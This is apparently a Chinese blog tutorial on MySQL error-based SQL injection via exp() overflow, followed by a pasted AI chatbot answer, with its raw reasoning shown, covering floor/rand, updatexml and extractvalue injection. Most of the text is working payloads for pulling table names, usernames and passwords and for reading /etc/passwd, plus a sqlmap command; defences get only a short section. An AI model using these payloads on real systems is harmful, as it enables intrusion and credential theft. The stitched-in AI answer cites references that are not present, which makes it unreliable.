SQL注入 | exp()函数报错

0x01原理
当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

MySQL中,exp与ln和log的功能相反,简单介绍下,就是log和ln都返回以e为底数的对数。

mysql> select log(15);
+------------------+
| log(15)          |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)
    
mysql> select ln(15);
+------------------+
| ln(15)           |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

0x02注入
0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

  mysql> select exp(~(select*from(select user())x));  
  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x03 注出数据
得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 

检索数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)); 

0x04 读取文件
通过load_file()函数来读取文件

select exp(~(select*from(select load_file('/etc/passwd'))a));  

归纳自:http://netsecurity.51cto.com/art/201508/489529.htm

<think>好的,我现在需要帮助用户查找关于SQL注入报错函数的使用方法和示例。用户已经提供了一些引用内容,我需要结合这些引用来组织回答。 首先,用户提到了四个引用,其中引用1到4都涉及报错注入的不同方面。引用1解释了报错注入的基本原理,引用2和3提到了使用count()和floor()函数的例子,引用4讨论了updatexml和extractvalue函数的使用。用户的上一次问题涉及时间盲注,现在转向报错注入,可能是在学习不同类型的注入方法。 我需要确保回答结构清晰,分点说明每个报错函数的使用方法,并给出示例。同时,用户需要中文回答,所以要注意用词准确。根据用户提供的引用,报错函数包括floor()+rand()、updatexml、extractvalue等,可能还需要补充其他常见函数exp()。 接下来,我需要检查每个函数的原理、语法、示例payload,以及注意事项。比如,floor(rand()*2)在group by时导致主键冲突,从而引发报错,这个在引用2和3中提到过。updatexml和extractvalue则是利用XPath语法错误来触发报错,这在引用4中有说明。 还要考虑不同数据库的兼容性,比如MySQLSQL Server是否有不同的函数。用户提供的示例主要是MySQL,所以重点放在MySQL上。此外,需要提到防御措施,帮助用户了解如何防范这类攻击,比如参数化查询和错误信息处理。 用户可能还想知道如何自动化利用这些函数,比如使用sqlmap工具,但问题主要集中在手动使用方法上。因此,示例需要具体,比如如何获取数据库名、表名、字段名,每一步的payload如何构造。 最后,确保回答中的引用标记正确,例如引用[^1]、[^2]等,但根据用户提供的引用内容,可能需要调整引用编号,但用户示例中的引用是[^1]、[^2]、[^3]、[^4],所以保持原样。 总结回答结构: 1. 报错注入原理 2. 常用函数及示例(floor+rand、updatexml、extractvalueexp) 3. 防御措施 4. 相关问题 需要确保每个函数都有详细的payload示例和解释,并注明对应的引用来源。同时,检查是否有遗漏的函数或方法,如geometrycollection等,但可能用户提供的引用中没有提到,可以暂时不提,或者简要提及。 现在开始组织内容,确保每个部分清晰,使用代码块和表格来展示示例,保持格式正确。</think>#### SQL注入报错函数使用方法详解 --- ### 一、报错注入核心原理 通过构造**特定SQL语句触发数据库报错**,将查询结果直接嵌入错误信息中返回[^1]。核心条件: 1. 应用程序未过滤错误信息(如开启`mysql_error()`输出) 2. 攻击者可控制输入参数 --- ### 二、常用报错函数及Payload示例 #### 1. `floor(rand()*2)` + `GROUP BY`(主键冲突) - **原理**:利用`GROUP BY`分组时产生的临时表主键冲突报错 - **典型Payload**: ```sql id=1' AND (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)-- ``` - 输出示例:`Duplicate entry 'database_name~1' for key 'group_key'`[^2] - **应用场景**: - 获取数据库名、表名、字段名 - 逐字符提取数据(配合`SUBSTRING`函数) #### 2. `updatexml()`(XPath语法错误) - **函数语法**: ```sql UPDATEXML(XML_document, XPath_string, new_value) ``` - **Payload构造**: ```sql id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)-- ``` - 输出示例:`XPATH syntax error: '~root@localhost~'`[^4] - **限制**: - 单次最大输出长度32字符(需配合`SUBSTRING`分段获取) - 仅适用于MySQL 5.1.5+版本 #### 3. `extractvalue()`(XPath语法错误) - **函数语法**: ```sql EXTRACTVALUE(XML_document, XPath_string) ``` - **Payload示例**: ```sql id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version), 0x7e))-- ``` - 输出示例:`XPATH syntax error: '~5.7.36-log~'`[^4] #### 4. `exp()`(数值溢出报错) - **原理**:通过指数函数触发数值溢出错误 - **Payload示例**: ```sql id=1' AND EXP(~(SELECT * FROM (SELECT USER())a))-- ``` - 输出示例:`DOUBLE value is out of range` --- ### 三、分阶段数据提取示例 #### 1. 获取数据库名 ```sql id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e), 1)-- ``` #### 2. 提取表名 ```sql id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- ``` #### 3. 读取字段值 ```sql id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a)-- ``` --- ### 四、防御措施 1. **禁用错误回显**:生产环境关闭`mysql_error()`输出[^4] 2. **参数化查询**: ```python cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) ``` 3. **函数黑名单**:过滤`updatexml`、`extractvalue`等关键词 4. **权限控制**:数据库账户仅授予最小必要权限 --- ### 五、工具辅助 使用`sqlmap`自动化注入(指定报错技术): ```bash sqlmap -u "http://example.com?id=1" --technique=E ``` 参数说明:`--technique=E` 表示使用报错注入技术 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值